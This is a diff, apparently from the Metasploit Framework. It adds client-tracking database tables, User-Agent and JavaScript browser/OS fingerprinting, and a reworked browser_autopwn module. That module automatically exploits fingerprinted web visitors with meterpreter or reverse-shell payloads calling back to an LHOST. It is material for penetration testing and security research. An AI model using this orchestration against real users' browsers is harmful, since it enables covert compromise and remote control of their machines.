diff --git a/data/sql/mysql.sql b/data/sql/mysql.sql index f0241fd89a..5eb34c4ea1 100644 --- a/data/sql/mysql.sql +++ b/data/sql/mysql.sql @@ -17,6 +17,16 @@ arch VARCHAR(255) ); +create table clients ( +id INTEGER PRIMARY KEY NOT NULL, +host_id INTEGER, +created TIMESTAMP, +ua_string VARCHAR(1024) NOT NULL, +ua_name VARCHAR(64), +ua_ver VARCHAR(32) +); + + create table services ( id SERIAL PRIMARY KEY, host_id INTEGER, diff --git a/data/sql/postgres.sql b/data/sql/postgres.sql index 453a092c82..aeb2a765b6 100644 --- a/data/sql/postgres.sql +++ b/data/sql/postgres.sql @@ -17,6 +17,16 @@ os_lang VARCHAR(255), arch VARCHAR(255) ); +drop table clients; +create table clients ( +id INTEGER PRIMARY KEY NOT NULL, +host_id INTEGER, +created TIMESTAMP, +ua_string VARCHAR(1024) NOT NULL, +ua_name VARCHAR(64), +ua_ver VARCHAR(32) +); + drop table services; create table services ( diff --git a/data/sql/sqlite.sql b/data/sql/sqlite.sql index 6aa651b541..223d9d4777 100644 --- a/data/sql/sqlite.sql +++ b/data/sql/sqlite.sql @@ -16,6 +16,16 @@ create table hosts ( 'arch' VARCHAR(255) ); +drop table clients; +create table clients ( +'id' INTEGER PRIMARY KEY NOT NULL, +'host_id' INTEGER, +'created' TIMESTAMP, +'ua_string' VARCHAR(1024) NOT NULL, +'ua_name' VARCHAR(64), +'ua_ver' VARCHAR(32) +); + drop table services; create table services ( 'id' INTEGER PRIMARY KEY NOT NULL, diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index d3605f1950..a33953f3de 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -86,7 +86,7 @@ class ReadableText ]) mod.actions.each_with_index { |target, idx| - tbl << [ target.name || 'All' ] + tbl << [ target.name || 'All' , target.description || '' ] } tbl.to_s + "\n" diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb index bf28ef02c9..f55c89857c 100644 --- a/lib/msf/core/auxiliary/report.rb +++ b/lib/msf/core/auxiliary/report.rb @@ -14,12 +14,21 @@ module Auxiliary::Report FF = "Firefox" SAFARI = "Safari" OPERA = "Opera" + + UNKNOWN = "Unknown" end module OperatingSystems LINUX = "Linux" MAC_OSX = "MacOSX" WINDOWS = "Windows" + module WindowsVersions + XP = "XP" + TWOK = "2000" + TWOK3 = "2003" + VISTA = "Vista" + end + UNKNOWN = "Unknown" end @@ -48,6 +57,36 @@ module Auxiliary::Report end end + def get_host(addr) + return nil if not db + framework.db.get_host(self, addr) + end + + # + # Report a client connection + # + # opts must contain + # :host the address of the client connecting + # :ua_string a string that uniquely identifies this client + # opts can contain + # :ua_name a brief identifier for the client, e.g. "Firefox" + # :ua_ver the version number of the client, e.g. "3.0.11" + # + def report_client(opts={}) + return if not db + addr = opts.delete(:host) || return + + framework.db.report_host_state(self, addr, Msf::HostState::Alive) + + cli = framework.db.report_client(self, addr, opts) + return cli + end + + def get_client(addr, ua_string) + return nil if not db + framework.db.get_client(self, addr, ua_string) + end + # # Report detection of a service # diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index 6ea0f897c1..ff7f373a75 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -66,6 +66,13 @@ module DatabaseEvent def on_db_host(context, host) end + # + # Called when a new client is added to the database. The client + # parameter is of type Client. + # + def on_db_client(context, client) + end + # # Called when a new service is added to the database. The service # parameter is of type Service. @@ -142,6 +149,8 @@ class DBManager opts.each { |k,v| if (host.attribute_names.include?(k.to_s)) host[k] = v + else + dlog("Unknown attribute for Host: #{k}") end } @@ -150,6 +159,33 @@ class DBManager return host end + # + # Report a client running on a host. + # + # opts must contain :ua_string + # opts can contain :ua_name and :ua_ver + # + def report_client(mod, addr, opts = {}, context = nil) + if opts[:ua_string].nil? + elog("report_client requires a ua_string", 'db', LEV_0, caller) + return + end + # TODO: use the current thread's Comm to find the host + comm = '' + host = get_host(context, addr, comm) + cli = get_client(context, host, opts[:ua_string]) + + opts.each { |k,v| + if (cli.attribute_names.include?(k.to_s)) + cli[k] = v + else + dlog("Unknown attribute for Client: #{k}") + end + } + cli.save + return cli + end + # # This method reports a host's service state. # @@ -255,7 +291,11 @@ class DBManager # Find or create a host matching this address/comm # def get_host(context, address, comm='') - host = Host.find(:first, :conditions => [ "address = ? and comm = ?", address, comm]) + if comm.length > 0 + host = Host.find(:first, :conditions => [ "address = ? and comm = ?", address, comm]) + else + host = Host.find(:first, :conditions => [ "address = ? ", address ]) + end if (not host) host = Host.create(:address => address, :comm => comm, :state => HostState::Unknown, :created => Time.now) host.save @@ -265,14 +305,35 @@ class DBManager return host end + # + # Find or create a client matching ua_string + # + def get_client(context, host, ua_string, comm='') + # Allow host to be an address to look up + if !host.kind_of? Host + host = get_host(context, host, comm) + end + rec = Client.find(:first, :conditions => [ "host_id = ? and ua_string = ?", host[:id], ua_string]) + if (not rec) + rec = Client.create( + :host_id => host[:id], + :ua_string => ua_string, + :created => Time.now + ) + rec.save + framework.events.on_db_client(context, rec) + end + return rec + end + # # Find or create a service matching this host/proto/port/state # def get_service(context, host, proto, port, state=ServiceState::Up) - rec = Service.find(:first, :conditions => [ "host_id = ? and proto = ? and port = ?", host.id, proto, port]) + rec = Service.find(:first, :conditions => [ "host_id = ? and proto = ? and port = ?", host[:id], proto, port]) if (not rec) rec = Service.create( - :host_id => host.id, + :host_id => host[:id], :proto => proto, :port => port, :state => state, @@ -332,10 +393,10 @@ class DBManager # Find or create a note matching this type/data # def get_note(context, host, ntype, data) - rec = Note.find(:first, :conditions => [ "host_id = ? and ntype = ? and data = ?", host.id, ntype, data]) + rec = Note.find(:first, :conditions => [ "host_id = ? and ntype = ? and data = ?", host[:id], ntype, data]) if (not rec) rec = Note.create( - :host_id => host.id, + :host_id => host[:id], :ntype => ntype, :data => data, :created => Time.now @@ -354,15 +415,15 @@ class DBManager return unless host - services = Service.find(:all, :conditions => ["host_id = ?", host.id]).map { |s| s.id } + services = Service.find(:all, :conditions => ["host_id = ?", host[:id]]).map { |s| s[:id] } services.each do |sid| Vuln.delete_all(["service_id = ?", sid]) Service.delete(sid) end - Note.delete_all(["host_id = ?", host.id]) - Host.delete(host.id) + Note.delete_all(["host_id = ?", host[:id]]) + Host.delete(host[:id]) end # @@ -373,7 +434,7 @@ class DBManager return unless host - services = Service.find(:all, :conditions => ["host_id = ? and proto = ? and port = ?", host.id, proto, port]).map { |s| s.id } + services = Service.find(:all, :conditions => ["host_id = ? and proto = ? and port = ?", host[:id], proto, port]).map { |s| s[:id] } services.each do |sid| Vuln.delete_all(["service_id = ?", sid]) @@ -408,7 +469,7 @@ class DBManager def refs_by_vuln(vuln) Ref.find_by_sql( "SELECT refs.* FROM refs, vulns_refs WHERE " + - "vulns_refs.vuln_id = #{vuln.id} AND " + + "vulns_refs.vuln_id = #{vuln[:id]} AND " + "vulns_refs.ref_id = refs.id" ) end @@ -419,7 +480,7 @@ class DBManager def vulns_by_ref(ref) Vuln.find_by_sql( "SELECT vulns.* FROM vulns, vulns_refs WHERE " + - "vulns_refs.ref_id = #{ref.id} AND " + + "vulns_refs.ref_id = #{ref[:id]} AND " + "vulns_refs.vuln_id = vulns.id" ) end @@ -642,7 +703,7 @@ class DBManager ) rep.save - return rep.id + return rep[:id] #framework.events.on_db_target(context, rec) end @@ -656,7 +717,7 @@ class DBManager if (not rep) rep_id = framework.db.create_report(0,'WMAP','REPORT',"#{host},#{port},#{ssl}","Metasploit WMAP Report",'WMAP Scanner') else - rep_id = rep.id + rep_id = rep[:id] end return rep_id diff --git a/lib/msf/core/db_objects.rb b/lib/msf/core/db_objects.rb index af69718d31..ce03f37a94 100644 --- a/lib/msf/core/db_objects.rb +++ b/lib/msf/core/db_objects.rb @@ -46,9 +46,19 @@ end class Host < ActiveRecord::Base include DBSave has_many :services + has_many :clients has_many :vulns end +class Client < ActiveRecord::Base + include DBSave + belongs_to :host + + def host + Host.find(:first, :conditions => [ "id = ?", host_id ]) + end +end + # Service object definition class Service < ActiveRecord::Base include DBSave diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 8e457cd80e..0ebe69486d 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -216,6 +216,7 @@ class Exploit < Msf::Module # Behavior require 'msf/core/exploit/brute' require 'msf/core/exploit/brutetargets' + require 'msf/core/exploit/browser_autopwn' # Payload require 'msf/core/exploit/egghunter' diff --git a/lib/msf/core/exploit/http.rb b/lib/msf/core/exploit/http.rb index b67c689311..66bcca5c58 100644 --- a/lib/msf/core/exploit/http.rb +++ b/lib/msf/core/exploit/http.rb @@ -257,6 +257,7 @@ end module Exploit::Remote::HttpServer include Msf::Exploit::Remote::TcpServer + include Msf::Auxiliary::Report def initialize(info = {}) super @@ -354,6 +355,100 @@ module Exploit::Remote::HttpServer add_resource(uopts) end + def report_user_agent(host, request) + ua = request['User-Agent'].downcase + # always check for IE last because everybody tries to + # look like IE + case (ua) + when /version\/(\d+\.\d+\.\d+).*safari/ + ua_name = HttpClients::SAFARI + ua_vers = $1 + when /firefox\/((:?[0-9]+\.)+[0-9]+)/ + ua_name = HttpClients::FF + ua_vers = $1 + when /mozilla\/[0-9]\.[0-9] \(compatible; msie ([0-9]\.[0-9]+)/ + ua_name = HttpClients::IE + ua_vers = $1 + else + ua_name = HttpClients::UNKNOWN + end + case (ua) + when /(en-us|en-gb)/ + os_lang = $1 + end + case (ua) + when /windows/ + os_name = OperatingSystems::WINDOWS + arch = ARCH_X86 + when /linux/ + os_name = OperatingSystems::LINUX + when /iphone/ + os_name = OperatingSystems::MAC_OSX + arch = 'armle' + when /mac os x/ + os_name = OperatingSystems::MAC_OSX + else + os_name = OperatingSystems::UNKNOWN + end + case (ua) + when /windows 95/ + os_flavor = '95' + when /windows 98/ + os_flavor = '98' + when /windows nt 4/ + os_flavor = 'NT' + when /windows nt 5.0/ + os_flavor = '2000' + when /windows nt 5.1/ + os_flavor = 'XP' + when /windows nt 5.2/ + os_flavor = '2003' + when /windows nt 6.0/ + os_flavor = 'Vista' + when /windows nt 6.1/ + os_flavor = '7' + when /gentoo/ + os_flavor = 'Gentoo' + when /debian/ + os_flavor = 'Debian' + when /ubuntu/ + os_flavor = 'Ubuntu' + else + os_flavor = '' + end + case (ua) + when /ppc/ + arch = ARCH_PPC + when /x64|x86_64/ + arch = ARCH_X86_64 + when /i.86|wow64/ + # WOW64 means "Windows on Windows64" and is present + # in the useragent of 32-bit IE running on 64-bit + # Windows + arch = ARCH_X86 + else + arch = ARCH_X86 + end + report_host( + :host => host, + :os_name => os_name, + :os_flavor => os_flavor, + :os_lang => os_lang || 'en', + :arch => arch + ) + report_client( + :host => host, + :ua_string => request['User-Agent'], + :ua_name => ua_name, + :ua_vers => ua_vers + ) + report_note( + :host => host, + :type => 'http_request', + :data => "#{@myhost}:#{@myport} #{request.method} #{request.resource} #{os_name} #{ua_name} #{ua_vers}" + ) + end + # # Adds a URI resource using the supplied hash parameters. # diff --git a/lib/msf/core/module/auxiliary_action.rb b/lib/msf/core/module/auxiliary_action.rb index 857c3c23b9..34302be79d 100644 --- a/lib/msf/core/module/auxiliary_action.rb +++ b/lib/msf/core/module/auxiliary_action.rb @@ -27,8 +27,9 @@ class Msf::Module::AuxiliaryAction # Creates a new action definition # def initialize(name, opts={}) - self.name = name - self.opts = opts + self.name = name + self.opts = opts + self.description = opts['Description'] || '' end # @@ -43,12 +44,16 @@ class Msf::Module::AuxiliaryAction # attr_reader :name # + # The action's description + # + attr_reader :description + # # Action specific parameters # attr_reader :opts protected - attr_writer :name, :opts # :nodoc: + attr_writer :name, :opts, :description # :nodoc: -end \ No newline at end of file +end diff --git a/lib/rex/constants.rb b/lib/rex/constants.rb index aa36caf526..4bb7badb8b 100644 --- a/lib/rex/constants.rb +++ b/lib/rex/constants.rb @@ -65,6 +65,7 @@ LEV_3 = 3 # ARCH_ANY = '_any_' ARCH_X86 = 'x86' +ARCH_X86_64 = 'x86_64' ARCH_MIPS = 'mips' ARCH_MIPSLE = 'mipsle' ARCH_MIPSBE = 'mipsbe' @@ -81,6 +82,7 @@ ARCH_ARMBE = 'armbe' ARCH_TYPES = [ ARCH_X86, + ARCH_X86_64, ARCH_MIPS, ARCH_MIPSLE, ARCH_MIPSBE, diff --git a/lib/rex/exploitation/javascriptosdetect.rb b/lib/rex/exploitation/javascriptosdetect.rb index ded359ba45..c29eea199d 100644 --- a/lib/rex/exploitation/javascriptosdetect.rb +++ b/lib/rex/exploitation/javascriptosdetect.rb @@ -25,66 +25,119 @@ function getVersion(){ var os_flavor; var os_sp; var os_lang; - var browser_name; - var browser_version; + var ua_name; + var ua_version; var useragent = navigator.userAgent; var version = ""; - version = useragent; - - //document.write("navigator.userAgent = '"+navigator.userAgent+"'
"); - //document.write("navigator.appVersion = '"+navigator.appVersion+"'
"); - - // Firefox's appVersion on windows doesn't tell us the flavor, so use - // userAgent all the time. If userAgent is spoofed, appVersion will lie - // also, so we don't lose anything by doing it this way. - - if (version.indexOf("Windows 95") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "95"; } - else if (version.indexOf("Windows NT 4") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "NT"; } - else if (version.indexOf("Win 9x 4.9") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "ME"; } - else if (version.indexOf("Windows 98") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "98"; } - else if (version.indexOf("Windows NT 5.0") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "2000"; } - else if (version.indexOf("Windows NT 5.1") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "XP"; } - else if (version.indexOf("Windows NT 5.2") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "2003"; } - else if (version.indexOf("Windows NT 6.0") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "Vista"; } - else if (version.indexOf("Windows") != -1) { os_name = "#{oses::WINDOWS}"; } - else if (version.indexOf("Mac") != -1) { os_name = "#{oses::MAC_OSX}"; } - else if (version.indexOf("Linux") != -1) { os_name = "#{oses::LINUX}"; } - - if (os_name == "#{oses::LINUX}") { - if (useragent.indexOf("Gentoo") != -1) { os_flavor = "Gentoo"; } - else if (useragent.indexOf("Ubuntu") != -1) { os_flavor = "Ubuntu"; } - else if (useragent.indexOf("Debian") != -1) { os_flavor = "Debian"; } - else if (useragent.indexOf("RHEL") != -1) { os_flavor = "RHEL"; } - else if (useragent.indexOf("CentOS") != -1) { os_flavor = "CentOS"; } - } + //-- + // Client + //-- if (window.getComputedStyle) { // Then this is a gecko derivative, assume firefox since that's the // only one we have sploits for. We may need to revisit this in the - // future. - browser_name = "#{clients::FF}"; + // future. This works for multi/browser/mozilla_compareto against + // Firefox and Mozilla, so it's probably good enough for now. + ua_name = "#{clients::FF}"; if (document.getElementsByClassName) { - browser_version = "3.0"; + ua_version = "3.0"; } else if (window.Iterator) { - browser_version = "2.0"; + ua_version = "2.0"; } else if (Array.every) { - browser_version = "1.5"; + ua_version = "1.5"; } else { - browser_version = "1.0"; + ua_version = "1.0"; } } if (window.opera) { - browser_name = "#{clients::OPERA}"; - } - - if (typeof ScriptEngineMajorVersion == "function") { - // then this is IE and we can detect the OS - // TODO: add detection for IE on Mac. low priority, since we don't have - // any sploits for it yet and it's a very low market share + ua_name = "#{clients::OPERA}"; + // This seems to be completely accurate, e.g. "9.21" is the return + // value of opera.version() when run on Opera 9.21 + ua_version = opera.version(); + if (!os_name) { + // The 'inconspicuous' argument is there to give us a real value on + // Opera 6 where, without it, the return value is supposedly + // "Hm, were you only as smart as Bjørn Vermo..." + // though I have not verfied this claim. + switch (opera.buildNumber('inconspicuous')) { + case "344": + // opera-9.0-20060616.1-static-qt.i386-en-344 + os_name = "#{oses::LINUX}"; + break; + case "2091": + // opera-9.52-2091.gcc3-shared-qt3.i386.rpm + os_name = "#{oses::LINUX}"; + break; + case "8501": + // "Opera 9 Eng Setup.exe" + os_name = "#{oses::WINDOWS}"; + break; + case "8679": + // "Opera_9.10_Eng_Setup.exe" + os_name = "#{oses::WINDOWS}"; + break; + case "8771": + // "Opera_9.20_Eng_Setup.exe" + os_name = "#{oses::WINDOWS}"; + break; + case "8776": + // "Opera_9.21_Eng_Setup.exe" + os_name = "#{oses::WINDOWS}"; + break; + case "8801": + // "Opera_9.22_Eng_Setup.exe" + os_name = "#{oses::WINDOWS}"; + break; + case "10108": + // "Opera_952_10108_en.exe" + os_name = "#{oses::WINDOWS}"; + break; + case "10467": + // "Opera_962_en_Setup.exe" + os_name = "#{oses::WINDOWS}"; + break; + } + } + } else if (window.getComputedStyle) { + // Then this is a gecko derivative, assume firefox since that's the + // only one we have sploits for. We may need to revisit this in the + // future. This works for multi/browser/mozilla_compareto against + // Firefox and Mozilla, so it's probably good enough for now. + ua_name = "#{clients::FF}"; + if (String.trimRight) { + // XXX: untested + ua_version = "3.5"; + } else if (document.getElementsByClassName) { + ua_version = "3"; + } else if (window.Iterator) { + ua_version = "2"; + } else if (Array.every) { + ua_version = "1.5"; + } else { + ua_version = "1"; + } + // Verify whether the ua string is lying by checking the major version + // number against what we detected using known objects above. If it + // appears to be truthful, then use its more precise version number. + version = searchVersion("Firefox", navigator.userAgent); + if (version.substr(0,1) == ua_version.substr(0,1)) { + // The version number will end with a space or end of line, so strip + // off anything after a space if one exists + if (-1 != version.indexOf(" ")) { + version = version.substr(0,version.indexOf(" ")); + } + ua_version = version; + } + + } else if (typeof ScriptEngineMajorVersion == "function") { + // Then this is IE and we can very reliably detect the OS. + // Need to add detection for IE on Mac. Low priority, since we + // don't have any sploits for it yet and it's a very low market + // share. os_name = "#{oses::WINDOWS}"; - browser_name = "#{clients::IE}"; + ua_name = "#{clients::IE}"; version = ScriptEngineMajorVersion().toString(); version += ScriptEngineMinorVersion().toString(); version += ScriptEngineBuildVersion().toString(); @@ -104,11 +157,13 @@ function getVersion(){ break; case "566626": // IE 6.0.2600.0000, XP SP0 English + ua_version = "6.0"; os_flavor = "XP"; os_sp = "SP0"; break; case "568515": // IE 6.0.3790.0, 2003 Standard SP0 English + ua_version = "6.0"; os_flavor = "2003"; os_sp = "SP0"; break; @@ -131,32 +186,94 @@ function getVersion(){ break; case "575730": // IE 7.0.5730.13, Server 2003 Standard SP2 English + // IE 7.0.5730.13, Server 2003 Standard SP1 English // IE 7.0.5730.13, XP Professional SP2 English - // rely on the user agent matching above to determine the OS, - // but we know it's SP2 either way + // Rely on the user agent matching above to determine the OS. + // This will incorrectly identify 2k3 SP1 as SP2 + ua_version = "7.0"; os_sp = "SP2"; break; + case "5718066": + // IE 7.0.5730.13, XP Professional SP3 English + ua_version = "7.0"; + os_flavor = "XP"; + os_sp = "SP3"; + break; + case "5818702": + // IE 8.0.6001.18702, XP Professional SP3 English + ua_version = "8.0"; + os_flavor = "XP"; + os_sp = "SP3"; + break; + case "580": + // IE 8.0.7100.0, Windows 7 English + // IE 8.0.7100.0, Windows 7 64-bit English + ua_version = "8.0"; + os_flavor = "7"; + os_sp = "SP0"; + break; } - if (!browser_version) { - if (document.documentElement && typeof document.documentElement.style.maxHeight!="undefined") { - browser_version = "7.0"; + if (!ua_version) { + if (document.documentElement && (typeof document.documentElement.style.maxHeight)!="undefined") { + // IE8 detection straight from IEBlog. Thank you Microsoft. + try { + ua_version = "8.0"; + document.documentElement.style.display = "table-cell"; + } catch(e) { + // This executes in IE7, + // but not IE8, regardless of mode + ua_version = "7.0"; + } } else if (document.compatMode) { - browser_version = "6.0"; + ua_version = "6.0"; } else if (window.createPopup) { - browser_version = "5.5"; + ua_version = "5.5"; } else if (window.attachEvent) { - browser_version = "5.0"; + ua_version = "5.0"; } else { - browser_version = "4.0"; + ua_version = "4.0"; } switch (navigator.appMinorVersion){ case ";SP2;": - browser_version += ";SP2"; + ua_version += ";SP2"; break; } } } + //-- + // Flavor + //-- + version = useragent.toLowerCase(); + if (!os_name || 0 == os_name.length || !os_flavor || 0 == os_flavor.length) { + // Firefox's appVersion on windows doesn't tell us the flavor, so use + // userAgent all the time. If userAgent is spoofed, appVersion will lie + // also, so we don't lose anything by doing it this way. + if (version.indexOf("windows 95") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "95"; } + else if (version.indexOf("windows nt 4") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "NT"; } + else if (version.indexOf("win 9x 4.9") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "ME"; } + else if (version.indexOf("windows 98") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "98"; } + else if (version.indexOf("windows nt 5.0") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "2000"; } + else if (version.indexOf("windows nt 5.1") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "XP"; } + else if (version.indexOf("windows nt 5.2") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "2003"; } + else if (version.indexOf("windows nt 6.0") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "Vista"; } + else if (version.indexOf("windows") != -1) { os_name = "#{oses::WINDOWS}"; } + else if (version.indexOf("mac") != -1) { os_name = "#{oses::MAC_OSX}"; } + else if (version.indexOf("linux") != -1) { os_name = "#{oses::LINUX}"; } + } + + if (os_name == "#{oses::LINUX}" && (!os_flavor || 0 == os_flavor.length)) { + if (version.indexOf("gentoo") != -1) { os_flavor = "Gentoo"; } + else if (version.indexOf("ubuntu") != -1) { os_flavor = "Ubuntu"; } + else if (version.indexOf("debian") != -1) { os_flavor = "Debian"; } + else if (version.indexOf("rhel") != -1) { os_flavor = "RHEL"; } + else if (version.indexOf("red hat") != -1){ os_flavor = "RHEL"; } + else if (version.indexOf("centos") != -1) { os_flavor = "CentOS"; } + } + + //-- + // Language + //-- if (navigator.systemLanguage) { // ie os_lang = navigator.systemLanguage; @@ -169,17 +286,40 @@ function getVersion(){ os_lang = "en"; } + //-- + // Architecture + //-- version = navigator.platform; + //document.write(version + "\\n"); + var arch = ""; + // IE 8 does a bit of wacky user-agent switching for "Compatibility View"; + // 64-bit client on Windows 7, 64-bit: + // Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0) + // 32-bit client on Windows 7, 64-bit: + // Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0) + // 32-bit client on Vista, 32-bit, "Compatibility View": + // Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0) + // + // Report 32-bit client on 64-bit OS as being 32 because exploits will + // need to know the bittedness of the process, not the OS. if ( ("Win32" == version) || (version.match(/i.86/)) ) { arch = "#{ARCH_X86}"; + } else if (-1 != version.indexOf('x64') || (-1 != version.indexOf('x86_64'))) { + arch = "#{ARCH_X86_64}"; } else if (-1 != version.indexOf('PPC')) { arch = "#{ARCH_PPC}"; } - //document.write("Target is: "+os_name+" "+os_flavor+" "+os_sp+" "+os_lang+" / "+browser_name+" "+browser_version +"
"); - - return { os_name:os_name, os_flavor:os_flavor, os_sp:os_sp, os_lang:os_lang, arch:arch, browser_name:browser_name, browser_version:browser_version }; + return { os_name:os_name, os_flavor:os_flavor, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version }; } // function getVersion +function searchVersion(needle, haystack) { + var index = haystack.indexOf(needle); + if (index == -1) return; + found_version = haystack.substring(index+needle.length+1); + // Strip off any junk at the end such as a CLR declaration + found_version.replace(/\s.*/, ''); + return found_version; +} ENDJS super @js update_opts(opts) if (opts) @@ -188,11 +328,13 @@ ENDJS 'os_name', 'os_flavor', 'os_sp', 'os_lang', 'arch', - 'browser_name', - 'browser_version', - 'useragent', 'version' + 'ua_name', + 'ua_version', + 'found_version', + 'needle', + 'haystack', ], - 'Methods' => [ 'getVersion' ] + 'Methods' => [ 'getVersion', 'searchVersion' ] } }) diff --git a/lib/rex/exploitation/obfuscatejs.rb b/lib/rex/exploitation/obfuscatejs.rb index 355b6c0188..760499f462 100644 --- a/lib/rex/exploitation/obfuscatejs.rb +++ b/lib/rex/exploitation/obfuscatejs.rb @@ -65,7 +65,7 @@ class ObfuscateJS # # Initialize an instance of the obfuscator # - def initialize(js, opts = {}) + def initialize(js = "", opts = {}) @js = js @dynsym = {} @opts = { @@ -133,8 +133,7 @@ class ObfuscateJS # claims that space is irrelavent, newlines break things. Instead, # use only space (0x20) and tab (0x09). - @js = Rex::Text.compress(@js) - @js.gsub!(/\s+/) { |s| + @js.gsub!(/[\x09\x20]+/) { |s| len = rand(50)+2 set = "\x09\x20" buf = '' @@ -159,6 +158,13 @@ class ObfuscateJS end alias :to_str :to_s + def <<(str) + @js << str + end + def +(str) + @js + str + end + protected attr_accessor :done @@ -239,4 +245,4 @@ protected end end -end \ No newline at end of file +end diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb index ea1e3856c8..c935a80ac4 100644 --- a/modules/auxiliary/server/browser_autopwn.rb +++ b/modules/auxiliary/server/browser_autopwn.rb @@ -9,33 +9,48 @@ # http://metasploit.com/framework/ ## +# ideas: +# - add a loading page option so the user can specify arbitrary html to +# insert all of the evil js and iframes into +# - caching is busted when different browsers come from the same IP +# - opera historysearch won't work in an iframe +# - some kind of version comparison for each browser +# - is a generic comparison possible? +# 9.1 < 9.10 < 9.20b < 9.20 +# 3.5-pre < 3.5 < 3.5.1 require 'msf/core' -require 'rex/exploitation/javascriptosdetect.rb' +require 'rex/exploitation/javascriptosdetect' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML - include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'HTTP Client Automatic Exploiter', 'Version' => '$Revision$', 'Description' => %q{ - This module uses a combination of client-side and server-side techniques to - fingerprint HTTP clients and then automatically exploit them. + This module uses a combination of client-side and server-side + techniques to fingerprint HTTP clients and then automatically + exploit them. }, 'Author' => [ - 'egypt ', # initial concept, integration and extension of Jerome's os_detect.js - 'Jerome Athias' # advanced Windows OS detection in javascript + # initial concept, integration and extension of Jerome + # Athias' os_detect.js + 'egypt', ], 'License' => BSD_LICENSE, 'Actions' => [ - [ 'WebServer' ] + [ 'WebServer', { + 'Description' => 'Start a bunch of modules and direct clients to appropriate exploits' + } ], + [ 'list', { + 'Description' => 'List the exploit modules that would be started' + } ] ], 'PassiveActions' => [ @@ -44,31 +59,75 @@ class Metasploit3 < Msf::Auxiliary 'DefaultAction' => 'WebServer')) register_options([ - OptAddress.new('LHOST', [true, 'The IP address to use for reverse-connect payloads']), - OptPort.new('LPORT', [false, 'The starting TCP port number for reverse-connect payloads', 4444]) + OptAddress.new('LHOST', [true, + 'The IP address to use for reverse-connect payloads' + ]), + ], self.class) + + register_advanced_options([ + OptString.new('MATCH', [false, + 'Only attempt to use exploits whose name matches this regex' + ]), + OptString.new('EXCLUDE', [false, + 'Only attempt to use exploits whose name DOES NOT match this regex' + ]), + OptBool.new('DEBUG', [false, + 'Do not obfuscate the javascript and print various bits of useful info to the browser', + false + ]), ], self.class) @exploits = Hash.new + @targetcache = Hash.new end - - def init_exploit(name, targ = 0) - targ ||= 0 + + + def run + if (action.name == 'list') + m_regex = datastore["MATCH"] ? %r{#{datastore["MATCH"]}} : %r{} + e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$} + framework.exploits.each_module do |name, mod| + if (mod.respond_to?("autopwn_opts") and name =~ m_regex and name !~ e_regex) + @exploits[name] = nil + print_line name + end + end + print_line + print_status("Found #{@exploits.length} exploit modules") + else + start_exploit_modules() + exploit() + end + end + + + def init_exploit(name, mod = nil, targ = 0) + if mod.nil? + @exploits[name] = framework.modules.create(name) + else + @exploits[name] = mod.new + end + case name - when %r{exploit/windows} + when %r{windows} payload='windows/meterpreter/reverse_tcp' + #payload='generic/debug_trap' else payload='generic/shell_reverse_tcp' end - @exploits[name] = framework.modules.create(name) + print_status("Starting exploit #{name} with payload #{payload}") @exploits[name].datastore['SRVPORT'] = datastore['SRVPORT'] # For testing, set the exploit uri to the name of the exploit so it's # easy to tell what is happening from the browser. - # XXX: Comment this out for release - #@exploits[name].datastore['URIPATH'] = name + # XXX: Set to nil for release + #@exploits[name].datastore['URIPATH'] = nil + @exploits[name].datastore['URIPATH'] = name - @exploits[name].datastore['LPORT'] = @lport - @exploits[name].datastore['LHOST'] = @lhost + # set a random lport for each exploit. There's got to be a better way + # to do this but it's still better than incrementing it + @exploits[name].datastore['LPORT'] = rand(32768) + 32768 + @exploits[name].datastore['LHOST'] = @lhost @exploits[name].exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, @@ -76,428 +135,390 @@ class Metasploit3 < Msf::Auxiliary 'Payload' => payload, 'RunAsJob' => true) - @lport += 1 + # It takes a little time for the resources to get set up, so sleep for + # a bit to make sure the exploit is fully working. Without this, + # mod.get_resource doesn't exist when we need it. + Rex::ThreadSafe.sleep(0.5) + # Make sure this exploit got set up correctly, return false if it + # didn't + if framework.jobs[@exploits[name].job_id.to_s].nil? + print_error("Failed to start exploit module #{name}") + @exploits.delete(name) + return false + end + return true end - def setup() - super - @lport = datastore['LPORT'] || 4444 - @lhost = datastore['LHOST'] - @lport = @lport.to_i + def start_exploit_modules() + @lhost = (datastore['LHOST'] || "0.0.0.0") + + @js_tests = {} + @noscript_tests = {} + + print_line print_status("Starting exploit modules on host #{@lhost}...") + print_status("---") + print_line + m_regex = datastore["MATCH"] ? %r{#{datastore["MATCH"]}} : %r{} + e_regex = datastore["EXCLUDE"] ? 